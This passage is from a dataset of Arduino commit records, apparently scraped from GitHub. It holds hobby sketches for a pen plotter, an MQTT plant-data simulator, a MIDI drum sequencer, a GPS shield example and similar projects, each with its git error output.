tarX;\n curY = tarY;\n}\n\nvoid goHome()\n{\n \/\/ stop on either endstop touches\n while(digitalRead(xlimit_pin2)==1 && digitalRead(xlimit_pin1)==1){\n stepperMoveA(motorAbk);\n delayMicroseconds(stepdelay_min);\n }\n while(digitalRead(ylimit_pin2)==1 && digitalRead(ylimit_pin1)==1){\n stepperMoveB(motorBbk);\n delayMicroseconds(stepdelay_min);\n }\n posA = 0;\n posB = 0;\n curX = 0;\n curY = 0;\n}\n\nvoid initPosition()\n{\n curX=0; curY=0;\n posA = 0;posB = 0;\n}\n\n\/************** calculate movements ******************\/\nvoid parseCoordinate(char * cmd)\n{\n char * tmp;\n char * str;\n str = strtok_r(cmd, \" \", &tmp);\n tarX = curX;\n tarY = curY;\n while(str!=NULL){\n str = strtok_r(0, \" \", &tmp);\n if(str[0]=='X'){\n tarX = atof(str+1);\n }else if(str[0]=='Y'){\n tarY = atof(str+1);\n }else if(str[0]=='Z'){\n tarZ = atof(str+1);\n }else if(str[0]=='A'){\n stepAuxDelay = atoi(str+1);\n }\n }\n prepareMove();\n}\n\nvoid echoRobotSetup()\n{\n Serial.print(\"M10 XY \");\n Serial.print(roboSetup.data.width);Serial.print(' ');\n Serial.print(roboSetup.data.height);Serial.print(' ');\n Serial.print(curX);Serial.print(' ');\n Serial.print(curY);Serial.print(' ');\n Serial.print(\"A\");Serial.print((int)roboSetup.data.motoADir);\n Serial.print(\" B\");Serial.print((int)roboSetup.data.motoBDir);\n Serial.print(\" H\");Serial.print((int)roboSetup.data.motorSwitch);\n Serial.print(\" S\");Serial.print((int)roboSetup.data.speed);\n Serial.print(\" U\");Serial.print((int)roboSetup.data.penUpPos);\n Serial.print(\" D\");Serial.println((int)roboSetup.data.penDownPos);\n}\n\nvoid echoEndStop()\n{\n Serial.print(\"M11 \");\n Serial.print(digitalRead(xlimit_pin1)); Serial.print(\" \");\n Serial.print(digitalRead(xlimit_pin2)); Serial.print(\" \");\n Serial.print(digitalRead(ylimit_pin1)); Serial.print(\" \");\n Serial.println(digitalRead(ylimit_pin2));\n}\n\nvoid syncRobotSetup()\n{\n int i;\n for(i=0;i<64;i++){\n EEPROM.write(i,roboSetup.buf[i]);\n }\n}\n\nvoid parseRobotSetup(char * cmd)\n{\n char * tmp;\n char * str;\n str = strtok_r(cmd, \" \", &tmp);\n while(str!=NULL){\n str = strtok_r(0, \" \", &tmp);\n if(str[0]=='A'){\n roboSetup.data.motoADir = atoi(str+1);\n }else if(str[0]=='B'){\n roboSetup.data.motoBDir = atoi(str+1);\n }else if(str[0]=='H'){\n roboSetup.data.height = atoi(str+1);\n }else if(str[0]=='W'){\n roboSetup.data.width = atoi(str+1);\n }else if(str[0]=='S'){\n roboSetup.data.speed = atoi(str+1);\n }\n }\n syncRobotSetup();\n}\n\nvoid parseAuxDelay(char * cmd)\n{\n char * tmp;\n strtok_r(cmd, \" \", &tmp);\n stepAuxDelay = atoi(tmp);\n}\n\nvoid parsePen(char * cmd)\n{\n char * tmp;\n strtok_r(cmd, \" \", &tmp);\n int pos = atoi(tmp);\n servoPen.write(pos);\n}\n\nvoid parsePenPosSetup(char * cmd)\n{\n char * tmp;\n char * str;\n str = strtok_r(cmd, \" \", &tmp);\n while(str!=NULL){\n str = strtok_r(0, \" \", &tmp);\n if(str[0]=='U'){\n roboSetup.data.penUpPos = atoi(str+1);\n }else if(str[0]=='D'){\n roboSetup.data.penDownPos = atoi(str+1); \n }\n }\n syncRobotSetup();\n}\n\nvoid parseMcode(char * cmd)\n{\n int code;\n code = atoi(cmd);\n switch(code){\n case 1:\n parsePen(cmd);\n break;\n case 2:\n parsePenPosSetup(cmd);\n break;\n case 3:\n parseAuxDelay(cmd);\n break;\n case 5:\n parseRobotSetup(cmd);\n break; \n case 10:\n echoRobotSetup();\n break;\n case 11:\n echoEndStop();\n break;\n }\n}\n\nvoid parseGcode(char * cmd)\n{\n int code;\n code = atoi(cmd);\n switch(code){\n case 0:\n case 1:\n parseCoordinate(cmd);\n break;\n case 28:\n tarX=0; tarY=0;\n goHome();\n break; \n }\n}\n\nvoid parseCmd(char * cmd)\n{\n if(cmd[0]=='G'){\n parseGcode(cmd+1); \n }else if(cmd[0]=='M'){\n parseMcode(cmd+1);\n }else if(cmd[0]=='P'){\n Serial.print(\"POS X\");Serial.print(curX);Serial.print(\" Y\");Serial.println(curY);\n }\n Serial.println(\"OK\");\n}\n\n\/\/ local data\nvoid initRobotSetup()\n{\n int i;\n for(i=0;i<64;i++){\n roboSetup.buf[i] = EEPROM.read(i);\n }\n if(strncmp(roboSetup.data.name,\"XY4\",3)!=0){\n Serial.println(\"set to default setup\");\n \/\/ set to default setup\n memset(roboSetup.buf,0,64);\n memcpy(roboSetup.data.name,\"XY4\",3);\n roboSetup.data.motoADir = 0;\n roboSetup.data.motoBDir = 0;\n roboSetup.data.width = WIDTH;\n roboSetup.data.height = HEIGHT;\n roboSetup.data.motorSwitch = 0;\n roboSetup.data.speed = 80;\n roboSetup.data.penUpPos = 160;\n roboSetup.data.penDownPos = 90;\n syncRobotSetup();\n }\n \/\/ init motor direction\n \/\/ yzj, match to standard connection of xy\n \/\/ A = x, B = y\n if(roboSetup.data.motoADir==0){\n motorAfw=-1;motorAbk=1;\n }else{\n motorAfw=1;motorAbk=-1;\n }\n if(roboSetup.data.motoBDir==0){\n motorBfw=-1;motorBbk=1;\n }else{\n motorBfw=1;motorBbk=-1;\n }\n int spd = 100 - roboSetup.data.speed;\n\/\/ stepdelay_min = spd*10;\n\/\/ stepdelay_max = spd*100;\n}\n\n\n\/************** arduino ******************\/\nvoid setup() {\n pinMode(11, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(ylimit_pin1,INPUT_PULLUP);\n pinMode(ylimit_pin2,INPUT_PULLUP);\n pinMode(xlimit_pin1,INPUT_PULLUP);\n pinMode(xlimit_pin2,INPUT_PULLUP);\n Serial.begin(115200);\n initRobotSetup();\n initPosition();\n servoPen.attach(servopin);\n delay(100);\n servoPen.write(roboSetup.data.penUpPos);\n}\n\nchar buf[64];\nint8_t bufindex;\n\nvoid loop() {\n if(Serial.available()){\n char c = Serial.read();\n buf[bufindex++]=c; \n if(c=='\\n'){\n buf[bufindex]='\\0';\n parseCmd(buf);\n memset(buf,0,64);\n bufindex = 0;\n }\n if(bufindex>=64){\n bufindex=0;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"446d7b8e906e24215ac9a323bf2160d97fb570bd","subject":"delay() from alarm funct was causing problems","message":"delay() from alarm funct was causing problems\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"36f4ec0960a38da99b8d806698f39dd48c2d771a","subject":"aggiunto simulatore","message":"aggiunto simulatore\n","repos":"doceo\/plant,doceo\/plant,doceo\/plant,doceo\/plant","old_file":"mqtt_simulatore_piante\/mqtt_simulatore_piante.ino","new_file":"mqtt_simulatore_piante\/mqtt_simulatore_piante.ino","new_contents":"\/*\n Basic ESP8266 MQTT example\n\n This sketch demonstrates the capabilities of the pubsub library in combination\n with the ESP8266 board\/library.\n\n It connects to an MQTT server then:\n - publishes \"hello world\" to the topic \"outTopic\" every two seconds\n - subscribes to the topic \"inTopic\", printing out any messages\n it receives. NB - it assumes the received payloads are strings not binary\n - If the first character of the topic \"inTopic\" is an 1, switch ON the ESP Led,\n else switch it off\n\n It will reconnect to the server if the connection is lost using a blocking\n reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to\n achieve the same result without blocking the main loop.\n\n To install the ESP8266 board, (using Arduino 1.6.4+):\n - Add the following 3rd party board manager under \"File -> Preferences -> Additional Boards Manager URLs\":\n http:\/\/arduino.esp8266.com\/stable\/package_esp8266com_index.json\n - Open the \"Tools -> Board -> Board Manager\" and click install for the ESP8266\"\n - Select your ESP8266 in \"Tools -> Board\"\n\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\n\/\/ Update these with values suitable for your network.\n\nconst char* ssid = \"RoboCar\";\nconst char* password = \"robocar0\";\nconst char* mqtt_server = \"192.168.43.179\";\n\nWiFiClient espClient;\nPubSubClient client(espClient);\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\n\nint puntoAcq;\nint temp;\nint terUm;\nint AriaUm;\n\nvoid setup() {\n pinMode(BUILTIN_LED, OUTPUT); \/\/ Initialize the BUILTIN_LED pin as an output\n Serial.begin(115200);\n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n}\n\nvoid setup_wifi() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '1') {\n digitalWrite(BUILTIN_LED, LOW); \/\/ Turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because\n \/\/ it is acive low on the ESP-01)\n } else {\n digitalWrite(BUILTIN_LED, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n }\n\n}\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n if (client.connect(\"ESP8266Client\")) {\n Serial.println(\"connected\");\n \/\/ Once connected, publish an announcement...\n \/\/ ... and resubscribe\n client.subscribe(\"simulazione\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\nvoid loop() {\n\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n \n puntoAcq = random(1,20);\n temp = random(-40,50);\n terUm = random(0, 1024);\n AriaUm = random(0, 1024);\n\n String msg= String(puntoAcq) + ',' + String(temp)+ ',' + String(terUm) + ',' + String(AriaUm) ;\n \n long now = millis();\n if (now - lastMsg > 2000) {\n lastMsg = now;\n ++value;\n Serial.print(\"Publish message: \");\n Serial.println(msg);\n char buf[64];\n msg.toCharArray(buf, 64);\n client.publish(\"simulazione\", buf);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mqtt_simulatore_piante\/mqtt_simulatore_piante.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8dd89db57ea1adc29a498238c77b5d35c65b1b5d","subject":"Updated Language in RGBLight sketch","message":"Updated Language in RGBLight sketch\n","repos":"ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266","old_file":"Home Automation\/Sketches\/RGBLight\/RGBLight.ino","new_file":"Home Automation\/Sketches\/RGBLight\/RGBLight.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Home' did not match any file(s) known to git\nerror: pathspec 'Automation\/Sketches\/RGBLight\/RGBLight.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"0cdb48c8bb5123a4151f7689b2e6e2afde803948","subject":"Drone Beat Software Sample","message":"Drone Beat Software Sample\n\nexample of using the S1 with low pass resonant filter control.\nPotmeter attached to adc input.\n","repos":"serdef\/synthprojects,serdef\/synthprojects","old_file":"arduino\/software\/cycledrummer\/DRONEBEAT01\/DRONEBEAT01.ino","new_file":"arduino\/software\/cycledrummer\/DRONEBEAT01\/DRONEBEAT01.ino","new_contents":"\n\/*\nS1 DRONEBEAT \/\/ BICYCLE DRUMMER 0.5\n27.07.2014\nBy Serge Defever\nArduino NANO + Dreamblaster S1\n\nDreamblaster S1 : http:\/\/www.serdashop.com\/waveblaster\nArduino NANO : http:\/\/store.arduino.cc\/\n\n*\/\n#include <Button.h>\n#include <TimerOne.h>\nlong calctempodelay = 0;\nlong tempodelay = 500;\nlong curtimestamp = 0;\nlong prevtimestamp = 0;\nlong lasttickstamp =0;\nlong wheelfactor = 6; \/\/ adjust this to modify the pulseperiod to tempo ratio (wheel radius), higher = faster\nint tickflag = 0; \/\/ indicate if time tick has passed\n\nconst int bicyclesetup = 0;\nconst int pot1setup = 1;\nconst int button1Pin = 2;\nconst int button2Pin = 3;\nconst int button3Pin = 4;\nconst int button4Pin = 5;\nconst int dreamblaster_enable_pin = 6;\nint potentiopin = 2;\nlong potentiovalue = 0;\nint buttonState = 0; \nint prev_buttonState = 0; \nint enabledrumming = 0;\nint enablebassline = 0;\nint enablesynthline = 0;\nlong seq_poscnt = 0;\n\n\n\n#define _BASSDRUM_NOTE 0x24\n#define _SNAREDRUM_NOTE 0x26\n#define _CLOSEDHIHAT_NOTE 0x2A\n#define _PEDALHIHAT_NOTE 0x2C\n#define _OPENHIHAT_NOTE 0x2E\n#define _CYMBAL_NOTE 0x31\n\nvoid midiwrite(int cmd, int pitch, int velocity) {\n\n Serial.write(cmd);\n Serial.write(pitch);\n Serial.write(velocity);\n\n}\n\n\nvoid midisetup_sam2195_nrpn_send(int channel, int control1,int control2, int value)\n{\n Serial.write((byte)(0xB0+channel));\n Serial.write(0x63);\n Serial.write((byte)control1);\n Serial.write(0x62);\n Serial.write((byte)control2);\n Serial.write(0x06);\n Serial.write((byte)value);\n}\n\nvoid midisetup_sam2195_sysexcfg_send(int channelprefix,int channel, int control, int value)\n{\n Serial.write(0xF0);\n Serial.write(0x41);\n Serial.write(0x00);\n Serial.write(0x42);\n Serial.write(0x12);\n Serial.write(0x40);\n Serial.write((byte)(channelprefix*16+channel)); \n Serial.write((byte)control);\n Serial.write((byte)value); \n Serial.write(0x00); \n Serial.write(0xF7); \n \n}\n\nvoid midisetup_sam2195_gsreset(void)\n{\n midisetup_sam2195_sysexcfg_send(0,0,0x7F,0);\n}\n\nvoid midiprogchange(int cmd, int prog) {\n Serial.write(cmd);\n Serial.write(prog);\n}\n\n\nButton button2 = Button(button2Pin,BUTTON_PULLDOWN);\nButton button3 = Button(button3Pin,BUTTON_PULLDOWN);\nButton button4 = Button(button4Pin,BUTTON_PULLDOWN);\n\n\nvoid basssubseq(long relativpos) \n{ \n switch(relativpos)\n {\n case 0 :\n midiwrite(0x81, 64, 0x00); \n midiwrite(0x91, 28, 0x70); \n break;\n case 4 :\n midiwrite(0x81, 28, 0x00); \n midiwrite(0x91, 40, 0x70); \n break;\n case 8 :\n midiwrite(0x81, 40, 0x00); \n midiwrite(0x91, 52, 0x70); \n break;\n case 12:\n midiwrite(0x81, 52, 0x00); \n midiwrite(0x91, 64, 0x70); \n break; \n default :\n break;\n } \n\n}\n\nvoid synthsubseq(long relativpos) \n{ \n switch(relativpos)\n {\n case 0 :\n midiwrite(0x90, 40, 0x65); \n break;\n case 7:\n midiwrite(0x80, 40, 0x00); \n break;\n case 8 :\n midiwrite(0x90, 52, 0x65); \n break;\n case 15:\n midiwrite(0x80, 52, 0x00);\n break; \n default :\n break;\n } \n\n}\nvoid drumseq(long seqpos) \n{ \n char relativpos;\n char seq_poscnt_mod2;\n relativpos =seqpos%16;\n seq_poscnt_mod2 = seqpos%2;\n if(enabledrumming)\n {\n if((seq_poscnt_mod2 == 0) && (relativpos < 14))\n {\n midiwrite(0x99, _PEDALHIHAT_NOTE, 0x65); \/\/ fast hi hat midi note\n }\n\n switch(relativpos)\n {\n case 0 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 4:\n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n break;\n case 6 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 8 :\n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n break;\n case 12:\n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n break;\n case 14:\n midiwrite(0x99, _OPENHIHAT_NOTE, 0x65); \n\n break; \n default :\n break;\n } \n if(enablebassline)\n {\n basssubseq(relativpos);\n }\n if(enablesynthline)\n {\n synthsubseq(relativpos); \n }\n } \n };\n\n\nvoid timercallback()\n{\n lasttickstamp = millis();\n Timer1.setPeriod(tempodelay * 1000); \n tickflag = 1;\n}\n\nvoid setupvoices(void)\n{\n midiprogchange(0xC0,95);\n midiprogchange(0xC1,81);\n}\nvoid SomeButtonPressHandler(Button& butt)\n{ \n if(enabledrumming)\n {\n if(butt == button2)\n {\n enablesynthline = enablesynthline?0:1;\n };\n if(butt == button3)\n {\n enablebassline = enablebassline?0:1;\n };\n\n }\n else\n {\n \n if(butt == button2)\n {\n midiwrite(0x90, 40, 0x70); \/\/ switch off possible bass notes\n };\n if(butt == button3)\n { \n midiwrite(0x99, _SNAREDRUM_NOTE, 0x65); \n }\n if(butt == button4)\n { \n midiwrite(0x99, _BASSDRUM_NOTE, 0x65); \n }\n }\n}\nvoid stopallnotes(void)\n{ \n midiwrite(0x80, 52, 0x00); \/\/ switch off possible synth notes\n midiwrite(0x80, 40, 0x00); \/\/ switch off possible synth notes \n midiwrite(0x80, 28, 0x00); \/\/ switch off possible bass notes\n midiwrite(0x80, 40, 0x00); \/\/ switch off possible bass notes \n midiwrite(0x80, 52, 0x00); \/\/ switch off possible bass notes\n}\n\n\n\nvoid SomeButtonReleaseHandler(Button& butt)\n{\n if(enabledrumming)\n {\n \/\/..\n } \n else\n {\n \n if(butt == button2)\n { \n midiwrite(0x80, 40, 0x00); \/\/ switch off possible bass notes\n }\n }\n \n \n}\n\nvoid PotControl(int potnr, int ctrlVal)\n{\n if(potnr == 1)\n {\n \/\/Serial.println(ctrlVal);\n midisetup_sam2195_nrpn_send(1,0x01,0x20,(byte)ctrlVal); \n \/\/midiwrite(0xB0, 0x01,(byte) ctrlVal); \/\/ modulation wheel\n }\n}\n\n\nvoid ADC_handle(void)\n{\n static int prevsensorVal = -1000; \n if(pot1setup)\n {\n int sensorValue = analogRead(A4);\n int ctrlValue;\n if(abs(sensorValue-prevsensorVal)>3) \/\/ filter noise from adc input\n {\n prevsensorVal = sensorValue;\n ctrlValue = sensorValue\/8;\n PotControl(1,ctrlValue);\n }\n }\n}\n\n\nvoid SomeButtonHoldHandler(Button& butt)\n{\n if(butt==button4)\n {\n stopdrum(); \n }\n}\n\nvoid setup() {\n Serial.begin(31250);\n analogReference(DEFAULT); \n \n pinMode(dreamblaster_enable_pin ,OUTPUT); \/\/ enable the dreamblaster module by pulling high \/reset\n digitalWrite(dreamblaster_enable_pin, HIGH);\n delay(300); \/\/ allow 500ms for the dreamblaster to boot\n midisetup_sam2195_gsreset();\n delay(500); \/\/ allow 250 for gs reset\n\/*\n midisetup_sam2195_sysexcfg_send(0x02,0x00,0x01,0x50); \/\/ set mod wheel cutoff\n midisetup_sam2195_sysexcfg_send(0x02,0x00,0x04,0x00); \/\/ disable mod wheel pitch variation\n midisetup_sam2195_sysexcfg_send(0x02,0x00,0x05,0x7F); \/\/ set mod wheel tvf depth\n*\/\n midisetup_sam2195_nrpn_send(1,0x01,0x21,(byte)0x7F); \/\/ set resonance for channel 1\n Timer1.attachInterrupt(timercallback);\n Timer1.initialize(tempodelay*1000); \n button2.pressHandler(SomeButtonPressHandler);\n button2.releaseHandler(SomeButtonReleaseHandler);\n button3.pressHandler(SomeButtonPressHandler);\n button3.releaseHandler(SomeButtonReleaseHandler);\n button4.pressHandler(SomeButtonPressHandler);\n button4.releaseHandler(SomeButtonReleaseHandler);\n button4.holdHandler(SomeButtonHoldHandler,1000);\n setupvoices();\n}\n\nvoid stopdrum(){\n enabledrumming = 0; \n prevtimestamp = 0;\n curtimestamp = 0;\n seq_poscnt = 0;\n stopallnotes();\n}\n\n\nvoid loop() {\n long timesincelastbeat;\n long timetonextbeat; \n \n ADC_handle();\n button2.isPressed(); \/\/ trigger handling for button\n button3.isPressed(); \/\/ trigger handling for button\n button4.isPressed(); \/\/ trigger handling for button\n buttonState = digitalRead(button1Pin); \n \n if(tickflag)\n {\n \/\/ sequencing time tick\n drumseq(seq_poscnt);\n seq_poscnt++;\n tickflag = 0;\n }\n \n if(prev_buttonState!=buttonState)\n {\n prev_buttonState = buttonState;\n if(buttonState == 1)\n {\n prevtimestamp = curtimestamp;\n curtimestamp = millis();\n if(prevtimestamp)\n { \n calctempodelay = curtimestamp - prevtimestamp;\n if(calctempodelay > 200 && calctempodelay < 5000) \/\/ if tempo is within range, calc tempo and enable drum\n {\n if(enabledrumming == 0)\n {\n seq_poscnt = 0;\n enabledrumming = 1;\n }\n tempodelay = calctempodelay\/wheelfactor;\n timesincelastbeat = curtimestamp - lasttickstamp;\n if(timesincelastbeat > tempodelay) \/\/ is the beat is going faster, tick immediately (within 10ms)\n {\n timetonextbeat = 10; \n }\n else\n {\n timetonextbeat = tempodelay -timesincelastbeat; \/\/ calculate remaining period for next tick\n if (timetonextbeat < 10)\n {\n timetonextbeat = 10;\n }\n }\n Timer1.setPeriod(timetonextbeat * 1000); \/\/ calculate period until next beat \n }\n }\n }\n } \n else\n {\n if(enabledrumming)\n {\n if(curtimestamp)\n {\n if( (millis() - curtimestamp )> 5000) \/\/ automatically stop if no sensor change for longer than 5s\n {\n if(bicyclesetup)\n {\n stopdrum(); \n }\n }\n }\n }\n }\n\n}\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/software\/cycledrummer\/DRONEBEAT01\/DRONEBEAT01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8cb29a468488d46d0deb68b88303e77eb8c9c7db","subject":"Add one second delay for the loop.","message":"Add one second delay for the loop.","repos":"lgramatikov\/celeste","old_file":"Celeste.ino","new_file":"Celeste.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"79b10b46d4ac3359bcf68a2b706c158debaabbcb","subject":"MotorEncoderConceptAB","message":"MotorEncoderConceptAB\n\nThis is the concept code for a Motor Encoder.\n","repos":"STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17","old_file":"MotorEncodersAB\/MotorEncodersAB.ino","new_file":"MotorEncodersAB\/MotorEncodersAB.ino","new_contents":"\nconst byte motorEncoderA = 2; \nconst byte motorEncoderB = 3;\nint countLeft = 0; countRight = 0;\n\n\nvoid setup() {\n attachInterrupt(digitalPinToInterrupt(motorEncoderA), A1 , CHANGE);\n attachInterrupt(digitalPinToInterrupt(motorEncoderB), B1, CHANGE);\n \n\n}\n\nvoid loop() {\n \n}\n\nvoid A1() {\n if(motorEncoderA == motorEncoderB)\n countLeft--;\n else\n countLeft++; \n}\n\nvoid B1() {\n if(motorEncoderA == motorEncoderB)\n countLeft++;\n else \n countLeft--;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MotorEncodersAB\/MotorEncodersAB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da34714c1117d16176b44d5652b7072b9f787c77","subject":"(WIP) Sample: GPS","message":"(WIP) Sample: GPS\n","repos":"ms-iot\/virtual-shields-arduino,zfields\/virtual-shields-arduino,zfields\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino","old_file":"VirtualShield\/examples\/Basic-GPS\/Basic-GPS.ino","new_file":"VirtualShield\/examples\/Basic-GPS\/Basic-GPS.ino","new_contents":"\/*\n Copyright(c) Microsoft Open Technologies, Inc. All rights reserved.\n\n The MIT License(MIT)\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files(the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions :\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n*\/\n\n\/\/ Include the ArduinoJson library, a dependency.\n#include <ArduinoJson.h>\n\n\/\/ Include the VirtualShield and used shields (Text, Geolocator)\n#include <VirtualShield.h>\n#include <Text.h>\n#include <Geolocator.h>\n\n\/\/ Instantiate the shields.\nVirtualShield shield;\nText screen = Text(shield);\nGeolocator gps = Geolocator(shield);\n\n\/\/ Callback event for screen commands\nvoid screenEvent(ShieldEvent* shieldEvent) \n{\n}\n\n\/\/ Callback event for gps events\nvoid gpsEvent(ShieldEvent* shieldEvent)\n{\n String lat = String(\"Lat: \") + String(gps.Latitude);\n String lon = String(\"Lon: \") + String(gps.Longitude);\n \n screen.printAt(3, lat);\n screen.printAt(4, lon);\n}\n\n\/\/ Callback event for pushing 'Refresh', or starting up, or reconnecting\nvoid refresh(ShieldEvent* shieldEvent)\n{\n screen.clear();\n screen.printAt(1, \"Basic GPS Lookup\");\n}\n\nvoid setup()\n{\n \/\/ Connect the events to the shields.\n shield.setOnRefresh(refresh);\n gps.setOnEvent(gpsEvent);\n screen.setOnEvent(screenEvent);\n\n \/\/ Begin the shield communication\n shield.begin();\n}\n\nconst long interval = 1000 * 15; \/\/15 seconds;\nlong nextGPS = 0;\n\nvoid loop()\n{\n \/\/ Check GPS coordinates once per 'interval'\n if (millis() > nextGPS) {\n nextGPS = millis() + interval;\n gps.get();\n }\n\n \/\/ Allow for shield communications.\n shield.checkSensors();\n}\t\t \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VirtualShield\/examples\/Basic-GPS\/Basic-GPS.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"233fc1c1d141afc2d1a9b336b278036dc955f48d","subject":"Added lowpower_mote_v0_1","message":"Added lowpower_mote_v0_1\n","repos":"brulejr\/sketchbook,brulejr\/sketchbook","old_file":"lowpower_mote_v0_1\/lowpower_mote_v0_1.ino","new_file":"lowpower_mote_v0_1\/lowpower_mote_v0_1.ino","new_contents":"#include <LowPower.h>\n#include <RFM69.h>\n#include <SPI.h>\n#include <SPIFlash.h>\n\n#define LED 9\n\nRFM69 radio;\nSPIFlash flash(8, 0xEF30);\n\nvoid setup() {\n radio.initialize(RF69_915MHZ, 99, 99);\n radio.setHighPower();\n flash.initialize();\n pinMode(LED, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(LED, HIGH);\n delay(4000);\n digitalWrite(LED, LOW);\n radio.sleep();\n flash.sleep();\n LowPower.powerDown(SLEEP_4S, ADC_OFF, BOD_OFF);\n flash.wakeup();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lowpower_mote_v0_1\/lowpower_mote_v0_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc144ad3f966bb9f35cd98e0b77bc457efab06b6","subject":"Add ArduinoProgram1","message":"Add ArduinoProgram1\n\nAdd ArduinoProgram1\n","repos":"60071jimmy\/UartOscilloscope,60071jimmy\/UartOscilloscope","old_file":"arduino\/ADXL345\/ArduinoProgram1\/ArduinoProgram1.ino","new_file":"arduino\/ADXL345\/ArduinoProgram1\/ArduinoProgram1.ino","new_contents":"\/*\t Arduino\u786c\u9ad4\u611f\u6e2c\u5668\u7aef\u50b3\u9001\u7a0b\u5f0f\n *\t Author\uff1aJimmy HU\n *\t This program is licensed under Apache License 2.0.\n *\t \u96fb\u8def\u9023\u63a5\u8aaa\u660e\uff1a\n *\t---\u95dc\u65bcGY-80\u52a0\u901f\u5ea6\u8a08---\n *\tGY-80 SCL \uff0d\uff1e Arduino Analog Pin A5\n *\tGY-80 SDA \uff0d\uff1e Arduino Analog Pin A4\n *\tOriginal Code Reference\uff1ahttps:\/\/github.com\/cedtat\/GY-80-sensor-samples\/blob\/master\/adxl345\/adxl345.ino\n *\t3 Axis Accelerometer(Analog Devices ADXL345) Datasheet\uff1ahttp:\/\/www.analog.com\/media\/en\/technical-documentation\/data-sheets\/ADXL345.pdf\n 